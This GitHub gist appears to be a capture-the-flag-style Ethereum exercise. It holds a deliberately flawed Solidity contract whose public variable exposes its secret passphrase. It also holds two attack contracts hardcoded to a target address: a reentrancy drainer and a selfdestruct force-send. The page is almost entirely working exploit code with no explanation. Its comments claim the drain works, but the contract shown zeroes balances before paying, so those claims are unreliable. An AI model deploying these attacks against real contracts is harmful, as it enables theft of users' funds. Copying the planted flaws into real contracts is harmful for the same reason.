Skip to content

Instantly share code, notes, and snippets.

@kelvneo
Created December 22, 2020 07:16
Show Gist options
  • Save kelvneo/505571d28b580bb693253142781e1b01 to your computer and use it in GitHub Desktop.
Save kelvneo/505571d28b580bb693253142781e1b01 to your computer and use it in GitHub Desktop.
contract L2L {
mapping (address => uint) private userBalances;
address public owner;
bytes32 public passphrase;
bytes32 public k;
constructor(bytes32 _passphrase) public payable {
owner = msg.sender;
k = _passphrase;
passphrase = keccak256(abi.encodePacked(_passphrase));
}
function withdrawOwner() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}
function deposit() public payable {
require(msg.value > 0);
userBalances[msg.sender] += msg.value;
}
function claim(bytes32 _secret) public payable {
require(keccak256(abi.encodePacked(_secret)) == passphrase);
owner = msg.sender;
}
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
userBalances[msg.sender] = 0;
(bool success, ) = msg.sender.call.value(amountToWithdraw)("");
require(success);
}
function transfer(address _to, uint256 amt) public {
require(userBalances[msg.sender] >= amt);
userBalances[msg.sender] -= amt;
userBalances[_to] += amt;
}
}
// This contract is for the attacker to exploit
contract Reentrancy {
address l2laddr = 0xB919b54Ad212e776F963f39685A4fC5155b79C7C;
L2L l2l = L2L(l2laddr);
uint8 count;
// Give money to this contract first
constructor() public payable {
require(msg.value > 0);
}
// Then send the money to the vulnerable contract
function setup() public {
l2l.deposit.value(1 finney)();
}
// Ask the vulnerable contract to send money back to us
function exploit() public {
l2l.withdrawBalance();
}
// As the vulnerable function is paying out, it will call this function.
// This function calls the same withdraw function, causing the account to bleed money.
function () public payable {
count++;
if (count < 5) l2l.withdrawBalance();
}
// Collect the money by killing the contract
function collect () public {
selfdestruct(msg.sender);
}
}
contract ForceSend {
address l2laddr = 0xB919b54Ad212e776F963f39685A4fC5155b79C7C;
L2L l2l = L2L(l2laddr);
constructor() public payable {
require(msg.value > 0);
}
function () public payable {
selfdestruct(l2laddr);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment